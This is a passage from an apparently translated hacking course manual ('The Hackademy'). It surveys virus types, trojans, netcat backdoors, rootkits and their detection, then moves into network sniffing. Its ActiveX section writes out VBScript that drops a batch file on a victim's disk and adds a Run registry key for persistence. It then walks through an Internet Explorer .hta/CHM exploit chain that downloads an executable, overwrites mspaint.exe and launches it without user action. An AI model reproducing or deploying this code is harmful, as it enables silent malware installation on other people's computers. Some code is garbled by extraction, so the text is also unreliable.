transferred while downloading. These are all possible means <strong>of</strong> infection. Unlike boot or partition<br />
sector viruses, this type <strong>of</strong> virus is not systematically activated each time the computer is turned on.<br />
They settle in live memory only when the user opens an infected file. However, they are disseminated<br />
even if they are not active, as all it takes is a contaminated program to be transmitted by email or any<br />
other medium. If the destination uses the s<strong>of</strong>tware without submitting it beforehand to an antivirus, his<br />
PC is then contaminated. What's more, they can infect networks.<br />
File viruses: File viruses are thankfully very rare. This is a good thing as they are hard to eliminate.<br />
They make use <strong>of</strong> use the mediums' management mode. They use a file which receives the physical<br />
address <strong>of</strong> the first allocation unit <strong>of</strong> all the medium's files. When the user opens a file, the computer<br />
looks for the corresponding address in this file. File viruses replace this address with their own one and<br />
keep their directory updated. When a file manipulated in this way is called, the virus starts by activating<br />
itself. It then uses its list to call the requested file and thus hide its presence.<br />
The <strong>Hack</strong>ademy DMP -43/209- SYSDREAM
Companions: Companions are a group <strong>of</strong> viruses <strong>of</strong> no great importance. They were widespread in<br />
the days <strong>of</strong> MS-DOS. Because Windows is a favourable ground for them, but they have become rarer.<br />
The functioning <strong>of</strong> companions is based on a specificity <strong>of</strong> the DOS operating system: when an<br />
executable file is called, it is not necessary to give the extension (.exe, .com, .bat); the name <strong>of</strong> the file<br />
is enough. DOS first looks through .com files, then .exe files and finally .bat files. The virus takes<br />
advantage <strong>of</strong> this characteristic by creating a .com file with the name <strong>of</strong> the .exe file and integrating its<br />
code. <strong>Pro</strong>grammers <strong>of</strong> these viruses wish to infect as many files as possible so that their companions<br />
be rapidly activated.<br />
Direct Action: The viruses presented up to now have the common characteristic <strong>of</strong> functioning as<br />
residents: when they are activated (by accessing a medium or by opening an infected programme),<br />
they settle in live memory. They are therefore active until the PC is turned <strong>of</strong>f and infect as many<br />
programs and mediums as possible. Thankfully, their activity is quickly noticeable. Simply by checking<br />
the contents <strong>of</strong> the live memory, one can notice the presence <strong>of</strong> suspicious s<strong>of</strong>tware. Direct Action<br />
type viruses are quite another type altogether: they try to infect the maximum number <strong>of</strong> files in a<br />
relatively short amount <strong>of</strong> time so as to go unnoticed, they then interrupt their action without leaving<br />
any trace in live memory. Direct Action type parasites are file viruses, meaning that they are linked to<br />
executables. Their means <strong>of</strong> infection are floppy disks and CD-ROMs, email, file transfer and<br />
downloading from the Internet. Of course, the copy <strong>of</strong> the file on your hard drive does not activate the<br />
virus. They spring to action only when the programme is executed.<br />
Stealth Viruses: Stealth viruses are not a specific category <strong>of</strong> parasites. They are called stealth<br />
viruses because they can foil the action <strong>of</strong> antivirus s<strong>of</strong>tware. Any type <strong>of</strong> virus can be a stealth one,<br />
however the camouflage technique is reserved to resident viruses and so does not concern Direct<br />
Action viruses, for example. Stealth viruses integrate the functions <strong>of</strong> an operating system used to look<br />
out for viruses. They can thus immediately detect any antivirus activity and react consequently. They<br />
can for example provide false information or withdraw from the examined zone in time to avoid being<br />
found out.<br />
Example: While a boot sector virus watches the systems access to functions devoted to protection, an<br />
application tries to call them. The virus then takes over and provides a copy <strong>of</strong> the original start zone.<br />
The protection s<strong>of</strong>tware reads this copy and decides it is correct and without any virus.<br />
Multi-part viruses: These viruses infect executable files and start sectors. They can be disseminated<br />
on networks.<br />
Polymorphic viruses: Coding is another protection used by various types <strong>of</strong> viruses. A parasite is<br />
characterised by its binary code, a succession <strong>of</strong> bytes that is unique to it and that no other program<br />
has. This succession <strong>of</strong> bytes is called a signature and enables the antivirus to find the virus: the<br />
detector looks for signatures in all programs <strong>of</strong> the hard drive, when one is found in a file, it deduces<br />
that the corresponding virus has already struck. Polymorphic viruses try to avoid this trap by modifying<br />
their own code with each new infection, more specifically by changing the succession <strong>of</strong> bytes, so that<br />
the antivirus s<strong>of</strong>tware cannot recognise them. Antiviruses have adapted to this: they are <strong>of</strong>ten able to<br />
detect polymorphic viruses. That's why it is extremely important to use recent antivirus programmes.<br />
Tunnel viruses and retroviruses: Some viruses do not simply remain passive in front <strong>of</strong> antiviruses:<br />
like other viruses, they implement camouflage or coding techniques, but they also act against<br />
detectors or try to divert their supervision.<br />
Some programmers have closely examined the way antivirus s<strong>of</strong>tware functions and have developed<br />
Tunnel viruses as an answer. These parasites especially try to neutralize resident virus detectors by<br />
diverting their supervision. They look for other functions and means to avoid coming across<br />
supervisors. The amount <strong>of</strong> time they are active is limited because antiviruses are constantly adapting<br />
to their tricks and have fewer and fewer weak points.<br />
The <strong>Hack</strong>ademy DMP -44/209- SYSDREAM
Retroviruses are a bit more aggressive. Other programmers have also closely examined antivirus<br />
s<strong>of</strong>tware. The viruses they have created destroy or damage important antivirus files. The supervision<br />
programs within the memory are “shot down”. Modifications carried out in the configuration files<br />
prevent them from starting during a later opening. Retroviruses are remarkably efficient. Many<br />
antiviruses are insufficiently protected.<br />
Macroviruses: Macroviruses are a new type <strong>of</strong> virus and first appeared in 1995. Unlike other<br />
nuisances, they are not made up <strong>of</strong> a binary code but <strong>of</strong> macro-language instructions such as<br />
Micros<strong>of</strong>t Office's VBA or Lotus Smart Suite scripts. These languages are destined to people with<br />
limited IT knowledge, hence the flood <strong>of</strong> macroviruses. As the infection mode is different, users did not<br />
immediately realise the extent <strong>of</strong> the danger. Viruses took advantage <strong>of</strong> this to develop at an<br />
impressive speed. Thankfully, editors <strong>of</strong> antivirus s<strong>of</strong>tware took care <strong>of</strong> the matter, however<br />
macroviruses remain a real danger.<br />
Ever since the first macrovirus was introduced in August 1995, this category is the one that has<br />
developed the fastest. By August 1998, 3400 viruses <strong>of</strong> this type had been identified, and their number<br />
is soaring at a dizzying speed. Companies and individuals have to protect themselves by frequently<br />
updating their virus control tools, which means that the antivirus programming industry must constantly<br />
update its bases and files. A definition file contains virus signatures (the fingerprint <strong>of</strong> known viruses); it<br />
is used by the search engine to detect and eliminate viruses. A virus scan is efficient only with a<br />
signature file <strong>of</strong> recent viruses. Because <strong>of</strong> this, recovering frequent updates is essential to ensure the<br />
proper security <strong>of</strong> your IT environment...<br />
The differences between macroviruses and more traditional viruses lie in the hosts (data files) and the<br />
duplication methods (use <strong>of</strong> macro programming language specific to applications). These differences<br />
are a new threat to the security <strong>of</strong> data. Add to this the increasing use <strong>of</strong> OLE (Object Linking and<br />
Embedding), as well as the use <strong>of</strong> networks, email and the Internet as exchange mediums, and the<br />
sinister picture is complete!<br />
Traditional files viruses do not attempt to infect data files, as these are not ideal for dissemination. In<br />
fact, one does not “open” a data file, but one “reads” or “modifies” it. However, these past few years,<br />
companies have built open systems in which information is more easily exchanged. <strong>Security</strong> must<br />
therefore be at a minimum. Macroviruses take advantage <strong>of</strong> the fact that many applications now have<br />
a macro programming language. These languages allow users (and virus creators) greater flexibility<br />
and a strength unmatched to this day. Often, macroviruses are not detected early enough because<br />
users are not familiar with macros. The result is a higher rate <strong>of</strong> infection than with traditional file and<br />
boot viruses. The programming language that is currently the most popular is WordBasic, integrated<br />
into Micros<strong>of</strong>t Word.<br />
As data is exchanged more <strong>of</strong>ten than the programmes themselves, the security problem created by<br />
microviruses is a very real one. Open systems integrated into many application use OLE to combine<br />
different types <strong>of</strong> data. You can include an object such as a picture into a Word document. This means<br />
that each modification <strong>of</strong> the object will be reflected in all its copies. You can also link an object such<br />
as an Excel calculation sheet into a Word document. This link means that you can modify the object<br />
either in the application that was used to create it or in the application to which it is linked, and all its<br />
copies will be updated.<br />
The <strong>Hack</strong>ademy DMP -45/209- SYSDREAM
Micros<strong>of</strong>t Word can integrate and link objects. What's more, Word documents can be integrated and<br />
linked to other applications. The risk lies in the possibility <strong>of</strong> sending a macro virus from another<br />
application. For example, MSMail Micros<strong>of</strong>t messages can contain attached files such as Word<br />
documents. If the association is correct, all the MSMail user has to do is to double-click on the Word<br />
document, Word starts and the document is open. This is an example <strong>of</strong> OLE in action. There are<br />
other ways <strong>of</strong> using OLE with Word documents, and it is the frequency <strong>of</strong> usage which increases the<br />
security risks posed by viruses for Word macro. Some macroviruses include the destructive code; they<br />
can even create and execute traditional boot sector and file viruses and have consequences on the<br />
functioning <strong>of</strong> a machine, for example on the quality and reliability <strong>of</strong> information in a data file.<br />
It only took a short time after the first Word macrovirus appeared for its Excel equivalent to appear:<br />
XM/Laroux.A. This event was expected, as the creation techniques were the same as for programming<br />
a macrovirus for Word.<br />
The difference between the viruses for Word and Excel lies in the fact that viruses for Word are written<br />
in WordBasic, whereas those for Excel are written in VBA3 (Visual Basic for Applications version 3).<br />
The format is different and the macros are not stocked inside the calculation sheet (Word viruses are<br />
stored in the Word document), but in separate channels. This technique complicates detection,<br />
identification and eradication.<br />
Macroviruses in Excel represent a tougher problem than for those in Word, because <strong>of</strong> the practical<br />
consequences. Let us imagine that an Excel virus multiply the content <strong>of</strong> a cell by 10 and that this cell<br />
represents your salary! This would certainly not be the end <strong>of</strong> the world... However, what if the content<br />
<strong>of</strong> the cell were divided by 10?<br />
These are minor inconvenients compared to the modifications done to the result <strong>of</strong> a cell whose aim is<br />
to calculate the strength <strong>of</strong> the concrete used to build a high-rise building. The calculation sheets can<br />
be huge and any anomaly hard to detect.<br />
The introduction <strong>of</strong> Office 97 generated the modification <strong>of</strong> almost all following programmes, and<br />
changes were widespread. Excel and Word use VBA5, which is based on VBA3 with numerous<br />
extensions.<br />
VBA5 is not compatible with WordBasic, which seems to indicate that macroviruses written for<br />
previous versions <strong>of</strong> Word would not have consequences on Word 8.0 in Office 97.<br />
However, Micros<strong>of</strong>t has integrated a WordBasic to VBA5 and a conversion from VBA3 to VBA5 to<br />
update existing macros in the new formats.<br />
Consequently, macroviruses written for previous versions <strong>of</strong> Word and Excel can also be “updated” All<br />
viruses will not function after their conversion, but we do know that some <strong>of</strong> them will.<br />
It would be expected that microviruses still pose a serious threat to data security, even if it is thought<br />
that their number will increase less rapidly. It is also thought that viruses will take advantage <strong>of</strong> the<br />
most common macro programming languages and that they will become independent <strong>of</strong> applications.<br />
(Do not forget that Micros<strong>of</strong>t Word is currently the most affected application by macroviruses, most <strong>of</strong><br />
these being written in WordBasic). Furthermore, it is thought that viruses will become polymorphic and<br />
stealth-like. Companies developing antiviruses will therefore keep fighting against macroviruses, as<br />
well as against 'traditional' file and boot sector viruses by detecting and eradicating macroviruses at the<br />
level <strong>of</strong> the application and at the binary level.<br />
ANSI Viruses: Many PCs install at the start a keyboard pilot called Ansi.sys. This pilot can change the<br />
configuration <strong>of</strong> the keyboard, to affect a character, or combinations <strong>of</strong> characters to a key, according<br />
to the user's language. Unfortunately, s<strong>of</strong>tware with suspicious aims take advantage <strong>of</strong> this possibility.<br />
They thus affect to any key the expression del ** Enter, so that the user erases the total contents <strong>of</strong> a<br />
file by pressing this key in DOS (this is an example). Viruses but also more traditional programs are<br />
capable <strong>of</strong> this. As PCs on Windows 9x no longer need the pilot in question, the danger is avoided.<br />
The <strong>Hack</strong>ademy DMP -46/209- SYSDREAM
However, do check in the start files <strong>of</strong> the computer what the situation is and cancel the call to this pilot<br />
if it does exist.<br />
Logical bombs: Some programs that do not have the ability to reproduce can still cause serious<br />
damage. S<strong>of</strong>tware <strong>of</strong>ficially presented as a game can include a destructive function triggered during a<br />
precise event or at a pre-determined date. Sometimes, it is only an innocent prank. However, some<br />
programmers are real sadists, even if this is rare.<br />
Trojan horses: Trojan horses are an under-category <strong>of</strong> logical bombs. They do not have an immediate<br />
destructive aim: their task is limited to espionage. They gather confidential information on the user <strong>of</strong><br />
the PC into which they have entered and transmit these to their creator. Some horses' mission is to<br />
establish an access (for example through a network) to the infected computer. The Internet being more<br />
and more used in commercial transactions, many new Trojan horses have been circulated.<br />
2. Trojans<br />
There are different sorts <strong>of</strong> hidden gateways. The best well-known remains the trojan. A trojan is<br />
s<strong>of</strong>tware executed without the user's knowledge. It will start to listen to a port on the system and wait<br />
for adapted clients. Quite <strong>of</strong>ten a trojan kit is made up <strong>of</strong> a client s<strong>of</strong>tware, which is normally harmless<br />
for the user, and an executable server. Many trojans are available on the Internet. As they are for the<br />
majority referenced by antiviruses and conceived for Windows, a hacker attacking a Linux machine or<br />
wishing to use more discreet s<strong>of</strong>tware will have to find alternative solutions.<br />
Netbus control window<br />
The <strong>Hack</strong>ademy DMP -47/209- SYSDREAM
Netcat<br />
Netcat (http://www.atstake.com/research/tools/network_utilities) is a s<strong>of</strong>tware that is used to carry out<br />
a diagnosis on the network. Netcat is a very popular tool in the Unix world: it can rapidly open<br />
TCP/UDP connections as well as start listening to ports. Netcat is available for both Linux and<br />
Windows, and it is not a hacking tool. However it integrates a very useful function for users who are<br />
aware <strong>of</strong> it: it is a function that can redirect the trafic received by a port to a local application. So by<br />
having Netcat listen to a port, any command received can be redirected towards /bin/bash or cmd.exe.<br />
As Netcat is not a hacking tool, it is not detected by antiviruses. A hacker with a minimum <strong>of</strong><br />
progrramming skills will have no trouble developing, in a very short time, s<strong>of</strong>tware that <strong>of</strong>fers the same<br />
redirection functions as Netcat.<br />
Also concerning Linux systems, it should be noted that it is trivial to create a small programme that<br />
would <strong>of</strong>fer boundless administrator privileges, in case a hacker acquires them one single time... Once<br />
in possession <strong>of</strong> total power, the hacker would hide the programme with the SUID-bit thus sharing root<br />
privileges with anyone later executing the s<strong>of</strong>tware.<br />
The <strong>Hack</strong>ademy DMP -48/209- SYSDREAM
Creating a hidden gateway :<br />
But the ultimate technique is to infect existing binaries on the hard drive, or even in memory. On<br />
Windows, an antivirus such as Norton AntiVirus (http://www.symantec.com) does not notice the<br />
infection mechanisms if the malicious program's code is not recognized in its signature base. Likewise,<br />
if for example Internet Explorer is infected and re-programmed to connect to a remote system, there is<br />
no chance your firewall will warn you. Indeed, Internet Explorer is an application that is very <strong>of</strong>ten<br />
authorized by firewall users.<br />
With the necessary rights, a skillful hacker will also be able to place a backdoor at the level <strong>of</strong> the<br />
system's core, and more generally on the system as a whole. This is called a rootkit. This method is<br />
currently more advanced on Linux, even if is also found on Windows. At this stage <strong>of</strong> a takeover, you<br />
can no longer truthfully believe any active security s<strong>of</strong>tware on the system. Not one.<br />
How can a hacker install a backdoor ?<br />
If the target machine is a server station, the hacker will probably be able to have access to the<br />
system's resources through accesses that are not well protected: vulnerable server applications,<br />
compromised passwords... You will at that moment not be able to prevent him from executing code, at<br />
least as far as his execution rights are concerned.<br />
If the machine is a work station, the hacker can include the user as a vulnerability factor. All he has to<br />
do is to visit a malicious web page while the navigator shows great tolerance in the execution <strong>of</strong><br />
scripts, or while a vulnerable version <strong>of</strong> Outlook is used. He can also try to have the program executed<br />
The <strong>Hack</strong>ademy DMP -49/209- SYSDREAM
through manipulation, incitement or deception (a fake email from a colleague, for example).<br />
Detection Methods<br />
Against the most common basic trojans, an antivirus should spare you a few headaches. As we have<br />
seen, however, most antiviruses cannot contain more elaborate strategies, especially if the hacker has<br />
a « legitimate » s<strong>of</strong>tware listen to a port (any port).<br />
Most firewalls will be able reduce the improper use <strong>of</strong> outside connections or the establishment <strong>of</strong><br />
server applications. But once again, this is not enough, and it is necessary to regularly check the<br />
process activity on the system. As a user, you should normally be able to justify the presence <strong>of</strong> any<br />
visible application in your “Task Administrator” in Windows, or by having an entry in /proc in Linux<br />
(reading with ps or top). Some more performing analysis tools, such as those presented in the<br />
monitoring section for Windows, can be <strong>of</strong> precious help during the detection phase.<br />
Otherwise, the netstat tool, on Linux and Windows, can indicate the state <strong>of</strong> active or listening sockets.<br />
A hacker with a network connection could not hide from this tool without having first obtained<br />
administrator privileges.<br />
Against hacker s<strong>of</strong>tware that is not listed, there remains the heuristic analysis. This consists in<br />
analysing the program's code in its execution procedures in order to find any flaws that could be there.<br />
Antiviruses such as AVP (http://www.kaspersky.com) or AVG (http://www.gris<strong>of</strong>t.com) are effective, but<br />
not infallible. Also, they are sometimes activated on false positives.<br />
Some rootkits, especially on Linux, find their specific anti-rootkits. CHKRootkit<br />
(http://www.chkrootkit.org) can thus detect about fifty popular rootkits. Generally speaking, your best<br />
ally against file infection remains the file integrity controller. <strong>Pro</strong>perly used, the security <strong>of</strong>fered is<br />
The <strong>Hack</strong>ademy DMP -50/209- SYSDREAM
infallible. It consists in associating with each <strong>of</strong> the system's sensitive files a digital signature <strong>of</strong> the<br />
MD5 or SHA-1 type. MD5 and SHA-1 are algorithms that can detect, for a given byte combination, a<br />
signature <strong>of</strong> 16 or 20 bytes. If only one byte is modified in a file, the whole signature is changed! As <strong>of</strong><br />
today, there are no <strong>of</strong>ficially known « collisions » on these bytes, meaning different byte combinations<br />
producing the same signature. Once a list <strong>of</strong> signatures produced on a system is recognised as clean,<br />
it can be saved on an outside medium (for example a CD-ROM). In case <strong>of</strong> doubt, a simple check with<br />
the help <strong>of</strong> the CD will enable you to precisely replace the corrupt applications. For Linux, the<br />
dedicated solution is called TripWire (http://www.tripwire.org).<br />
3.ActiveX<br />
A) VBScript<br />
The aim <strong>of</strong> this part <strong>of</strong> the course is to show you how a hacker could use malicious scripts through<br />
Internet Explorer. In our first example, we are going to create a HTML page whose aim will be to<br />
create a batch file on the computer <strong>of</strong> a victim. A batch file is a succession <strong>of</strong> MS-DOS commands<br />
executed one after the other.<br />
Here is the basic structure <strong>of</strong> a HTML file you will have to type in (without the comments) to create a<br />
white page called “My Internet page”.<br />
<br />
<br />
<br />
M Internet page<br />
<br />
<br />
<br />
<br />
<br />
Between “” tags are the comments that do not appear on your navigator but only in the<br />
page source.<br />
On the Internet, one can find many scripts that take advantage <strong>of</strong> various weak points to read, write<br />
and modify files on a client disk. These scripts are <strong>of</strong>ten called ActiveX. ActiveX were developed by<br />
Micros<strong>of</strong>t to increase the interaction between a website and a client's navigator. ActiveX are coded in<br />
VBScript. The ActiveX below enables the writing <strong>of</strong> a batch file on the victim's disk. It has to be<br />
included in a HTML page between the and tags.<br />
<br />
Set FSO = CreateObject("Scripting.FileSystemObject")<br />
Set BatFile = FSO.CreateTextFile("c:\newfile.bat", 2, False)<br />
BatFile.WriteLine "echo CrashFr"<br />
BatFile.Close<br />
<br />
The <strong>Hack</strong>ademy DMP -51/209- SYSDREAM
It will create a batch file at the root <strong>of</strong> C: called “newfile bat”. This batch file will include one MS-DOS<br />
command line (“echo CrashFr”). To add extra commands, all that has to be done is to add a<br />
“BatFile.WriteLine” line followed by the MS-DOS command.<br />
Here are several ActiveX that the hacker could combine with the above example:<br />
Writing a key in the register base<br />
<br />
Set WshShell = CreateObject("WScript.Shell")<br />
WshShell.RegWrite "HKEY_Register_base_branch","object to write"<br />
<br />
Erasing a key in the register base<br />
<br />
Set WshShell = CreateObject("WScript.Shell")<br />
WshShell.RegDelete "HKEY_Register_base_branch"<br />
<br />
Creating a URL shortcut in the start menu<br />
<br />
Set WshShell = CreateObject("WScript.Shell")<br />
Set RealLink = WshShell.CreateShortCut("C:\WINDOWS\Menu Start\<strong>Security</strong> Internet.url")<br />
RealLink.TargetPath = "http://www.thehackademy.net"<br />
RealLink.Save<br />
<br />
To correctly create your .bat file, you need to know the main DOS commands:<br />
DOS commands<br />
cd .. returns to the root file<br />
cd [index] go to a sub-file<br />
choice the user must choose<br />
cls erases what is on the screen<br />
copy [file] [directory] copies a file into a brief<br />
del [file] erases a file<br />
dir /p displays the contents <strong>of</strong> a file in several times<br />
dir displays the contents <strong>of</strong> a file<br />
@echo <strong>of</strong>f [command] does not display following commands<br />
echo. jumps a line<br />
echo [text] displays the following text<br />
edit [file] displays the text file and can edit it<br />
erase [file path] erases a file (no authorisation asked)<br />
format [drive] formats a disk (victim authorisation asked)<br />
goto plugging request (jump)<br />
The <strong>Hack</strong>ademy DMP -52/209- SYSDREAM
DOS commands<br />
if conditional plugging<br />
mem displays disk space<br />
mkdir [directory] creates a file<br />
pause for the programme to continue, press any key<br />
ren [file1] .[new extension] replaces the extension <strong>of</strong> file 1 with the new extension<br />
rename [file1] [new name] renames file 1 with a new name<br />
rmdir [directory] erases a file<br />
type [text file] displays the contents <strong>of</strong> a txt file<br />
ver displays the DOS version<br />
vol [drive] displays the name <strong>of</strong> a reader<br />
c:\windows\*.* gives the whole contents <strong>of</strong> a file (authorisation asked)<br />
c:\windows\*.[extension] gives all files <strong>of</strong> a certain type from the brief (no<br />
authorisation asked)<br />
For further help on the MS-DOS commands, all that has to be done is to open a command invite and<br />
to enter the command wanted followed by “/?”.<br />
c:\windows\command>ping /?<br />
Here is an example <strong>of</strong> a HTML page combining various examples seen above:<br />
:<br />
<br />
<br />
<br />
<br />
<br />
Set FSO = CreateObject("Scripting.FileSystemObject")<br />
Set BatFile = FSO.CreateTextFile("c:\newfile.bat", 2, False)<br />
BatFile.WriteLine "echo 'The <strong>Hack</strong>ademy Test'"<br />
BatFile.WriteLine "echo '=================='"<br />
BatFile.WriteLine "echo ."<br />
BatFile.WriteLine "mem"<br />
BatFile.Close<br />
Set WshShell = CreateObject("Wscript.Shell")<br />
WshShell.RegWrite<br />
"HKEY_LOCAL_MACHINE\S<strong>of</strong>tware\Micros<strong>of</strong>t\Windows\CurrentVersion\Run\newfile","c:\ne<br />
wfile.bat"<br />
Set RealLink = WshShell.CreateShortCut("C:\Documents and Settings\eleve\Menu<br />
Start\<strong>Pro</strong>grammes\Start\Newfile.url")<br />
RealLink.TargetPath = "file://C:\newfile.bat"<br />
RealLink.Save<br />
<br />
<br />
<br />
The <strong>Hack</strong>ademy DMP -53/209- SYSDREAM
If this HTML page is opened remotely with IE parameters by default, it does not authorise the<br />
execution <strong>of</strong> ActiveX. However, if this page is opened locally, IE will display a warning very far from the<br />
reality that the script will have on your system:<br />
Beware <strong>of</strong> this type <strong>of</strong> alert as some <strong>of</strong> IE's vulnerabilities mean that one could believe that the script is<br />
a part <strong>of</strong> the local zone when in fact it is on the Internet.<br />
<strong>Security</strong><br />
To avoid this type <strong>of</strong> attack (very <strong>of</strong>ten used by Spywares), the thing to do is to properly<br />
parameter the Internet Explorer options or simply to change the navigator, because ActiveX only<br />
function with IE. It should be known that IE functions with a zone system whereby various rights<br />
can be defined. There is an “Internet” zone and a “Local Intranet” zone as can be seen below:<br />
The <strong>Hack</strong>ademy DMP -54/209- SYSDREAM
Each one <strong>of</strong> these zones can be configured independently. Generally, the “Local Intranet” zone<br />
will be less restrictive than the “Internet” zone which is <strong>of</strong>ten the more dangerous one. It is<br />
advised to deactivate the ActiveX execution by clicking on “Personalising the level”.<br />
B) .hta Loopholes<br />
This type <strong>of</strong> loophole mainly affects Micros<strong>of</strong>t's Internet clients, especially Internet Explorer and<br />
Outlook Express. The idea is to have them execute arbitrary code through javascript and vbscript<br />
code. In theory, parameters by default <strong>of</strong> the navigator forbid the execution <strong>of</strong> a code that could be<br />
hostile if it comes from the Internet or a zone that is not considered as safe. However, executing this<br />
code locally (for example with a html page from the file history) is entirely possible, as the security<br />
policy is much more restrictive.<br />
HTA files are Windows help files and are also in fact compressed HTML files. They can therefore<br />
contain Javascript or Vbscript code. As they are executed locally on the machine, the interpreted code<br />
will also be considered as local. <strong>Security</strong> options are therefore much less restrictive.<br />
The principle <strong>of</strong> the attack will be to have the web navigator execute a javascript code, which will force<br />
the local downloading <strong>of</strong> a HTA file, as well as its reading, in order to have it locally execute a Vbscript<br />
code, destined to download then execute a virus; all <strong>of</strong> this happening without the user's intervention,<br />
<strong>of</strong> course. One last problem remains: with the security restrictions by default, it is not possible, even<br />
locally, to execute a programme without asking for the user's authorisation. We will therefore use<br />
another loophole (the shell loopholes), which can start a programme on the system by associating it to<br />
a file to read. Instead <strong>of</strong> simply downloading the virus, we will crush an existing binary on the system<br />
and start it by asking to open a file to which it will be associated: so it will be the virus which will then<br />
have replaced the initial binary to be started.<br />
Shell Vulnerability<br />
Shell is a protocol that can be used in a URL to open any brief or file on the system. In the Start-<br />
>Execute window, type in the following commands:<br />
shell:windows<br />
shell:cookies<br />
shell:recent<br />
shell:system<br />
shell:Common AppData<br />
shell:Common Desktop<br />
shell:Common Documents<br />
shell:Common Favorites<br />
shell:Common <strong>Pro</strong>grams<br />
shell:Common Start Menu<br />
shell:Common Startup<br />
shell:Common Templates<br />
shell:Common Administrative Tools<br />
shell:CommonVideo<br />
shell:CommonPictures<br />
shell:Personal<br />
shell:local appdata<br />
The <strong>Hack</strong>ademy DMP -55/209- SYSDREAM
shell:pr<strong>of</strong>ile<br />
shell:Administrative Tools<br />
This type <strong>of</strong> command can be given to the web navigator so that it can execute the associated<br />
command. Place the following code in a HTML page (replace Windows by what is convenient on your<br />
machine):<br />
<br />
<br />
This vulnerability can be used to force IE to open a file with the associated programme according to<br />
the extension. Copy a bmp picture that you will rename hack.bmp in your Windows directory and copy<br />
this script on a html page. The mspaint.exe programme will then be started:<br />
<br />
<br />
Taking advantage <strong>of</strong> the hta loophole:<br />
Let us summarise the attack procedure:<br />
Hostile Javascript Code:<br />
1. Downloading and execution <strong>of</strong> a .hta containing Vbscript code, via a hostile javascript code<br />
(attack.htm file)<br />
Hostile .hta:<br />
2. Downloading <strong>of</strong> an executable which then crushes mspaint.exe<br />
3. Downloading <strong>of</strong> a bmp picture in the Windows directory<br />
4. Request the opening <strong>of</strong> the picture via a shell loophole, forcing the execution <strong>of</strong> the file renamed in<br />
mspaint.exe<br />
On the www.thehackademy.net website, you will find a directory with all the files destined to take<br />
advantege <strong>of</strong> this type <strong>of</strong> vulnerability:<br />
attack.htm: The hostile javascript code<br />
EXPLOIT.CHM: The hostile chm<br />
exploit.exe: The executable to have the web navigator start<br />
hack.bmp: The picture to copy on the system<br />
The <strong>Hack</strong>ademy DMP -56/209- SYSDREAM
The javascript code destined to download .hta:<br />
<br />
<br />
<br />
<br />
document.write(code.value.replace(/\${PATH}/g,location.href.substring<br />
(0,location.href.indexOf('ATTAK.htm'))));<br />
<br />
The Vbscript code contained in .hta. Once again, replace the Windows directory <strong>of</strong> this code by what is<br />
appropriate on your system (windows or winnt):<br />
<br />
<br />
<br />
<br />
Function Exists(filename)<br />
On Error Resume Next<br />
LoadPicture(filename)<br />
Exists = Err.Number = 481<br />
End Function<br />
<br />
<br />
paint= [<br />
"C:\\WINNT\\system32\\mspaint.exe",<br />
"C:\\WINDOWS\\system32\\mspaint.exe"<br />
];<br />
for (i=0;i
s.Write(x.responseBody);<br />
s.SaveToFile(paintpath,2);<br />
payloadURL2 = getPath(location.href)+'hack.bmp';<br />
var y = new ActiveXObject("Micros<strong>of</strong>t.XMLHTTP");<br />
y.Open("GET",payloadURL2,0);<br />
y.Send();<br />
var z = new ActiveXObject("ADODB.Stream");<br />
z.Mode = 3;<br />
z.Type = 1;<br />
z.Open();<br />
z.Write(y.responseBody);<br />
z.SaveToFile("c:\\WINDOWS\\hack.bmp",2);<br />
<br />
<br />
<br />
<br />
<br />
This html code will have to be compiled in .hta format. To do this, you can use the HTML help<br />
workshop programme:<br />
Create a new project, by<br />
selecting the “new” button:<br />
The <strong>Hack</strong>ademy DMP -58/209- SYSDREAM
The wizard will ask you the<br />
location and the name <strong>of</strong> the<br />
new project:<br />
Select a htm-type file as<br />
project source:<br />
You will give the<br />
exploit.htm file whose<br />
code was given above:<br />
The <strong>Hack</strong>ademy DMP -59/209- SYSDREAM
Finally, you will be able to compile the project thanks to the file->compile button; the htm file will thus<br />
be automatically generated in the directory where you have saved the project.<br />
Once all the files are ready, copy the 4 previously mentioned files into a web server directory. You then<br />
only have to open your web navigator to have it point to the attack.htm page and the executable will<br />
automatically be open.<br />
The <strong>Hack</strong>ademy DMP -60/209- SYSDREAM
CHAPTER III<br />
NETWORKS VULNERABILITIES<br />
The <strong>Hack</strong>ademy DMP -61/209- SYSDREAM
1.Network Sniffing<br />
A) Theoretical Approach<br />
Sniffing is a spying technique which consists in copying the information contained in network packets<br />
without modifying their transportation or their shape.<br />
When an A machine contacts a C machine, data will transit through an intermediate machine, a B<br />
machine.<br />
A -----> B -----> C<br />
To reach C, A must have the packet transit through B. B could be controlled by a hacker, and this<br />
hacker could then maliciously pick up the data transiting between A and C and make a copy <strong>of</strong> it for<br />
later analysis.<br />
Sniffing makes it possible to pick up the data that makes up the network packets, i.e. the different<br />
options and variables incremented in the packets (Source IP address, Destination IP address, Flags,<br />
etc.), as well as usual data (web pages' source codes, logins and passwords, commands sent to a<br />
server, etc.) The reason sniffing exists is the security weakness <strong>of</strong> the vast majority <strong>of</strong> protocols. The<br />
confidentiality <strong>of</strong> data transmitted with the most common protocols (TCP, HTTP, FTP, SMTP, ...) is not<br />
ensured because these communications are not encrypted. In some network environments, it is not<br />
even necessary to be part <strong>of</strong> the relay system (router, gateway, etc.) to undertake network sniffing...<br />
Networks environments : simplicity and limits <strong>of</strong> sniffing<br />
In some network environments, it is not necessary to be in control <strong>of</strong> the relay machine to spy on the<br />
whole data flow. This is for example the case for network architectures structured around a HUB. The<br />
whole network created around a hub is vulnerable to a Sniffing-type technique. All packets emitted on<br />
the network are broadcast to all the systems present. By analysing the destination MAC address, the<br />
system receiving the packet can decide if this packet is destined to it or if it must be dropped.<br />
However, on a hub network, this method is limited to zones belonging to the same network segment.<br />
Here, machine 1 sends a packet on the<br />
network (its destination is <strong>of</strong> no relevance to<br />
us). To relay it, the HUB sends it again to<br />
all the other machines <strong>of</strong> the network.<br />
On this diagram, machine 2 could be a hacker one. It could then spy on all the network traffic <strong>of</strong> all the<br />
machines linked to the HUB, because all packets are sent back to it.<br />
The <strong>Hack</strong>ademy DMP -62/209- SYSDREAM
Here, the connection between the router<br />
and machine 3 cannot be sniffed by the rest<br />
<strong>of</strong> the network.<br />
It is to be noted that the same network architecture could be created not around a Hub but around a<br />
Switch: this is an intelligent hub which saves in a corresponding table the MAC address and the<br />
Ethernet port number <strong>of</strong> each machine it is connected to. Then, it will not broadcast the emitted<br />
packets but ask its cache to determine on which Ethernet port it must send the packet.<br />
• Network overloading is much less frequent and the network traffic itself is minimized.<br />
• It is in theory no longer possible to sniff transiting connections on the LAN.<br />
Practical Approach : installation <strong>of</strong> a sniffer<br />
